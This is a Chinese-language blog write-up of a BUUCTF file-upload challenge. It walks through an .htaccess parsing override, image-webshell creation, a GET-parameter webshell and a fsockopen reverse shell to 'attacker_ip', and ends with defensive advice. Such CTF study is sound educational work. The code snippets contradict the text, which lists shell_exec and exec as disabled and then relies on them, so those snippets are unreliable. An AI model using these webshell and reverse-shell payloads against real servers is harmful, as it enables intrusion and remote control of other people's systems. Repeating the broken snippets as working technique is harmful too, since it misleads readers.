从‘你传你[特殊字符]呢’到拿下Flag:BUUCTF文件上传靶场实战复盘(含.htaccess绕过技巧)

📅 2026/7/30 8:12:21 👁️ 阅读次数 📝 编程学习
从‘你传你[特殊字符]呢’到拿下Flag:BUUCTF文件上传靶场实战复盘(含.htaccess绕过技巧)

从困惑到突破:BUUCTF文件上传靶场深度实战解析

第一次看到这个靶场题目时,我忍不住笑出了声——"你传你🐎呢"这种命名方式在CTF比赛中确实少见。但很快,笑容就凝固在了脸上,因为上传一个普通图片文件居然直接报错了。这种"开局即卡住"的体验,相信很多CTF新手都深有体会。本文将详细记录我从完全摸不着头脑到最终拿下Flag的全过程,特别聚焦于.htaccess文件的巧妙应用和disable_function环境下的应对策略。

1. 初探靶场环境与基础限制分析

靶场界面极为简洁,只有一个文件上传表单。我的第一反应是上传一个普通的PNG图片进行测试,没想到直接返回了错误提示。经过多次尝试和对比其他选手的Writeup,终于发现了问题所在——文件大小限制

这里有几个关键发现点:

  • 服务器对上传文件的大小有严格限制(后来测试发现上限约10KB)
  • 即使符合大小的图片,也可能因MIME类型不正确被拒绝
  • 必须同时满足:小体积+正确MIME类型才能通过基础验证

常见图片格式的MIME类型对照表

文件类型正确MIME类型常见错误MIME
JPEGimage/jpegimage/jpg
PNGimage/pngimage/x-png
GIFimage/gifapplication/octet-stream

提示:现代浏览器通常会正确设置MIME类型,但用Burp Suite等工具手动测试时需特别注意此项

2. 突破文件类型黑名单限制

当成功上传普通图片后,接下来自然要尝试上传PHP webshell。但很快发现:

  • 所有ph开头的后缀都被禁止(如.php, .php3, .php5等)
  • 常见的截断绕过(%00, 空格等)在Linux环境下无效
  • 服务器配置不允许.user.ini文件生效

此时常规思路是使用图片马+文件包含漏洞,但目标系统恰巧没有文件包含点。这就是为什么.htaccess文件成为关键突破口。

3. .htaccess文件的魔法应用

Apache服务器的.htaccess文件是一个分布式配置文件,能够覆盖主服务器的配置。在这个靶场中,我们可以利用它实现两个重要功能:

  1. 将特定文件类型当作PHP解析
  2. 自定义上传目录的执行权限

生效的.htaccess文件内容示例

AddType application/x-httpd-php .abc SetHandler application/x-httpd-php

这段配置意味着:

  • 任何扩展名为.abc的文件都会被当作PHP执行
  • 即使上传的是图片马,只要重命名为.abc后缀就能获得代码执行能力

实际操作步骤:

  1. 先上传包含上述内容的.htaccess文件(需确保MIME类型为text/plain
  2. 然后上传图片马,保存为shell.abc
  3. 访问shell.abc即可触发代码执行

注意:某些服务器可能会限制.htaccess的覆盖能力,需要实际测试确认

4. 突破disable_function限制的技巧

成功执行PHP代码只是第一步,很快发现系统禁用了大多数危险函数:

// 典型被禁用的函数列表 system, exec, passthru, shell_exec, popen, proc_open,...

在这种情况下,我们需要使用替代方案获取完整Shell:

方案一:Webshell连接

// 简易webshell示例 $cmd = $_GET['cmd']; echo "<pre>".shell_exec($cmd)."</pre>";

方案二:PHP内置函数迂回

// 使用未被禁用的函数读取文件 highlight_file('/flag'); // 或者目录遍历 print_r(scandir('/'));

方案三:反弹Shell构造

// 使用fsockopen实现反弹Shell $sock = fsockopen("attacker_ip", port); exec("/bin/sh -i <&3 >&3 2>&3");

在实际操作中,我最终采用了方案一和方案三的组合,先确认flag位置,再建立稳定连接进行深度探索。

5. 完整攻击链的实战复盘

让我们梳理整个渗透流程的关键节点:

  1. 信息收集阶段

    • 确认文件上传功能的存在
    • 测试基础限制(大小、类型、扩展名)
  2. 限制突破阶段

    • 绕过MIME类型检测
    • 使用.htaccess文件覆盖解析规则
    • 制作符合要求的图片马
  3. 权限提升阶段

    • 绕过disable_function限制
    • 定位flag文件位置
    • 获取完整系统访问权限
  4. 后渗透阶段

    • 清理痕迹(删除上传文件)
    • 记录完整攻击路径

典型图片马制作命令

# 使用copy命令合并图片与webshell(Windows) copy normal.jpg /b + shell.php /a target.jpg # 使用cat命令合并(Linux) cat image.jpg shell.php > final.jpg

6. 防御视角的思考与建议

站在防守方角度,如何防范此类攻击?以下是一些实用建议:

  • 输入验证多层化

    • 文件内容检测(而不仅是扩展名)
    • 使用文件头签名验证真实类型
  • 服务器配置加固

    • 限制.htaccess文件的覆盖能力
    • 上传目录设置为不可执行
  • 权限最小化原则

    • 上传文件重命名(避免用户控制扩展名)
    • 存储在非Web可访问目录
  • 日志监控

    • 记录所有上传行为
    • 监控异常解析请求

在一次真实渗透测试中,我发现目标网站虽然限制了文件上传类型,但由于未禁用.htaccess覆盖,导致可以通过类似手法获取服务器权限。这提醒我们安全防护需要全面考虑各个环节。

7. 延伸学习与资源推荐

想要深入掌握文件上传漏洞,建议从以下几个方向继续探索:

  1. 不同服务器环境的差异

    • Apache与Nginx的解析差异
    • IIS特有的解析特性(如PUT方法利用)
  2. 高级绕过技巧

    • 条件竞争漏洞利用
    • 二次渲染绕过
    • 特殊字符截断技术
  3. 防御技术研究

    • WAF规则分析与绕过
    • 机器学习检测恶意文件

推荐几个实用资源:

  • OWASP文件上传防护指南
  • 《Web Application Hackers Handbook》相关章节
  • CTF比赛中经典文件上传题目合集

在最近参加的另外几场CTF比赛中,我发现文件上传类题目往往会结合其他漏洞形成连锁攻击链。比如先通过文件上传获取有限权限,再结合XXE或反序列化漏洞提升至root权限。这种多阶段攻击方式在实际渗透测试中也非常常见。